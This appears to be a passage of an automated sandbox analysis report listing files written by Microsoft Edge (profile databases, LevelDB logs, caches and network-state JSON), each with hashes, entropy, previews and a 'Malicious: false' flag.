C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.212638927262338
Encrypted:	false
SSDEEP:	6:iOX8GAq2PcNwi23oH+Tcwt7Uh2ghZIFUtF8Ci9Zmw78CiPkwOcNwi23oH+Tcwt7w:7JAvLZYebIhHh2FUtjy/N+54ZYebIhHd
MD5:	D44896BB2B1D51BE4597D681EB38BE29
SHA1:	27CBB757CEB9F92383D7F67477488FF94A32D0DE
SHA-256:	CEE9E7384C18B51EBE8DF1F902928D09F75A710C504693C2618863820CC8E3BA
SHA-512:	00EF667EE27A027B50A8020A6A7E6260DA4365E3988F331F4DEC49B68620BAB4ED7B66058E2F8BFE2F59D2E3B2951BACD48146AE256DB0ACF613FF0C695EDFAF
Malicious:	false
Preview:	2025/02/14-03:37:29.858 1d14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2025/02/14-03:37:29.860 1d14 Recovering log #3.2025/02/14-03:37:29.860 1d14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.212638927262338
Encrypted:	false
SSDEEP:	6:iOX8GAq2PcNwi23oH+Tcwt7Uh2ghZIFUtF8Ci9Zmw78CiPkwOcNwi23oH+Tcwt7w:7JAvLZYebIhHh2FUtjy/N+54ZYebIhHd
MD5:	D44896BB2B1D51BE4597D681EB38BE29
SHA1:	27CBB757CEB9F92383D7F67477488FF94A32D0DE
SHA-256:	CEE9E7384C18B51EBE8DF1F902928D09F75A710C504693C2618863820CC8E3BA
SHA-512:	00EF667EE27A027B50A8020A6A7E6260DA4365E3988F331F4DEC49B68620BAB4ED7B66058E2F8BFE2F59D2E3B2951BACD48146AE256DB0ACF613FF0C695EDFAF
Malicious:	false
Preview:	2025/02/14-03:37:29.858 1d14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2025/02/14-03:37:29.860 1d14 Recovering log #3.2025/02/14-03:37:29.860 1d14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.232670768902023
Encrypted:	false
SSDEEP:	12:76hU+vLZYebvqBQFUtohrW/Whs3V54ZYebvqBvJ:78lYebvZg3oYebvk
MD5:	747FF9270F924CB63898A3551CD640E5
SHA1:	855E3435F2A954213151D512404CEB13454A7DA0
SHA-256:	E437144666782828FB9C7E456468A3D6D32F9F53C1C4E8361F6EA7A1E3406907
SHA-512:	28932F501289FFA81685EC00028C7F3188CC14A4394A19437809E276F30AB28419387131B1C5D8A2BAF7FF85EED1B5D3EC745320574B79FD1316C273B9D35BDC
Malicious:	false
Preview:	2025/02/14-03:37:30.727 18cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2025/02/14-03:37:30.736 18cc Recovering log #3.2025/02/14-03:37:30.738 18cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.232670768902023
Encrypted:	false
SSDEEP:	12:76hU+vLZYebvqBQFUtohrW/Whs3V54ZYebvqBvJ:78lYebvZg3oYebvk
MD5:	747FF9270F924CB63898A3551CD640E5
SHA1:	855E3435F2A954213151D512404CEB13454A7DA0
SHA-256:	E437144666782828FB9C7E456468A3D6D32F9F53C1C4E8361F6EA7A1E3406907
SHA-512:	28932F501289FFA81685EC00028C7F3188CC14A4394A19437809E276F30AB28419387131B1C5D8A2BAF7FF85EED1B5D3EC745320574B79FD1316C273B9D35BDC
Malicious:	false
Preview:	2025/02/14-03:37:30.727 18cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2025/02/14-03:37:30.736 18cc Recovering log #3.2025/02/14-03:37:30.738 18cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\25fb312a-2275-4cae-a0d4-0730baca2958.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\3ec1266f-c5d8-468b-be3f-efa9855d01ae.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\6a5f07ba-2589-44e9-8626-c076003d1327.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF2f35f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF2f63d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\bb888dc9-cddb-4ba8-a67f-388a3df1f8c4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\dc5688e5-0dda-4f00-82d3-265a45a7ebc3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.269215703658274
Encrypted:	false
SSDEEP:	6:iOX85FwVq2PcNwi23oH+TcwtzjqEKj0QMxIFUtF8YpnSgZmw78cwIkwOcNwi23oq:7nvLZYebvqBZFUtTnX/Vz54ZYebvqBaJ
MD5:	D96FBC04D5FFFEF02F966FD10E79C22E
SHA1:	EB9E75305725C981E9E69AD97B10EE6D44AB298F
SHA-256:	BBC13A38BB78DC6B04D27269A481ABE2E71F40AB0259F5DF55C8CCD9F1CFEADA
SHA-512:	075DBB160614A49BBC7AC8EB70792E4B1178537D622080FC2AC9F43C6284AD304BDC9BA9FAB067A16F8BF084C4F8F699BD9A61765ABCB40D9F50E387187F7FCF
Malicious:	false
Preview:	2025/02/14-03:37:49.417 6d4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2025/02/14-03:37:49.418 6d4 Recovering log #3.2025/02/14-03:37:49.423 6d4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.269215703658274
Encrypted:	false
SSDEEP:	6:iOX85FwVq2PcNwi23oH+TcwtzjqEKj0QMxIFUtF8YpnSgZmw78cwIkwOcNwi23oq:7nvLZYebvqBZFUtTnX/Vz54ZYebvqBaJ
MD5:	D96FBC04D5FFFEF02F966FD10E79C22E
SHA1:	EB9E75305725C981E9E69AD97B10EE6D44AB298F
SHA-256:	BBC13A38BB78DC6B04D27269A481ABE2E71F40AB0259F5DF55C8CCD9F1CFEADA
SHA-512:	075DBB160614A49BBC7AC8EB70792E4B1178537D622080FC2AC9F43C6284AD304BDC9BA9FAB067A16F8BF084C4F8F699BD9A61765ABCB40D9F50E387187F7FCF
Malicious:	false
Preview:	2025/02/14-03:37:49.417 6d4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2025/02/14-03:37:49.418 6d4 Recovering log #3.2025/02/14-03:37:49.423 6d4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.268418587993229
Encrypted:	false
SSDEEP:	6:iOX8Mq2PcNwi23oH+TcwtpIFUtF8sFPZmw78NkwOcNwi23oH+Tcwta/WLJ:7BvLZYebmFUtb/y54ZYebaUJ
MD5:	F47148791225A1A9569832E6D4AEE349
SHA1:	84CD49832A3D2C3CF42B09BE74945018E519A731
SHA-256:	3267ADA98D08F2D09163BCF1BC251F5050BA3FD8A3F93F85C2F0CA9C70833290
SHA-512:	242EA3564C33577E6E63CD2F6A068041881E93E72323E64C6A9A15C713A38A01A50BDF4B496782BEF934DCD3845147EFA547D175EB0F7259BC42C9473F2176A4
Malicious:	false
Preview:	2025/02/14-03:37:29.873 1d14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2025/02/14-03:37:29.874 1d14 Recovering log #3.2025/02/14-03:37:29.875 1d14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.268418587993229
Encrypted:	false
SSDEEP:	6:iOX8Mq2PcNwi23oH+TcwtpIFUtF8sFPZmw78NkwOcNwi23oH+Tcwta/WLJ:7BvLZYebmFUtb/y54ZYebaUJ
MD5:	F47148791225A1A9569832E6D4AEE349
SHA1:	84CD49832A3D2C3CF42B09BE74945018E519A731
SHA-256:	3267ADA98D08F2D09163BCF1BC251F5050BA3FD8A3F93F85C2F0CA9C70833290
SHA-512:	242EA3564C33577E6E63CD2F6A068041881E93E72323E64C6A9A15C713A38A01A50BDF4B496782BEF934DCD3845147EFA547D175EB0F7259BC42C9473F2176A4
Malicious:	false
Preview:	2025/02/14-03:37:29.873 1d14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2025/02/14-03:37:29.874 1d14 Recovering log #3.2025/02/14-03:37:29.875 1d14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265613352386096
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMZSAELyKOMq+8HKkjucswRv8p3nVumU:K0q+n0JZ9ELyKOMq+8HKkjuczRv89Q
MD5:	4F507C5C12202B15DF5743FA022A3793
SHA1:	A72CA86272DFC00899AF7E194745005A31A6982F
SHA-256:	BC2D004F5C8D5FC87135A165866C68EB3E92C54335E2818ADCDD1B9ED46A564D
SHA-512:	7D1DB610C2A385ACBBB861AE7578A679686931502375F4E7AEC6DFC84AB3BBA8E84FA1FA1C99FE161CD2A04F505FAEEC40F82B496F7696BBE8B011DC4BB073F4
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46676506675799734
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0pgX:v7doKsKuKZKlZNmu46yjx0K
MD5:	3569A6B412BC0D42C071C3FE33D137D8
SHA1:	EFF8C867A8B735FCA6EED6490EE53FB871AF7E2A
SHA-256:	1CF095C562407B5822793F7EE26C227A103B3F8E3C2F1182747C495083469CE8
SHA-512:	26281F5DB3EBCF2D59AA2CAA47329DE93A2BDC85F488C4A232AB6CFCC00FABF3FF89693A839901E3995C049EE30ABF881A36B0CF473169007C2BC20526773F6C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a441c581-2b5b-47b4-b128-7cb4df5dbb1c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
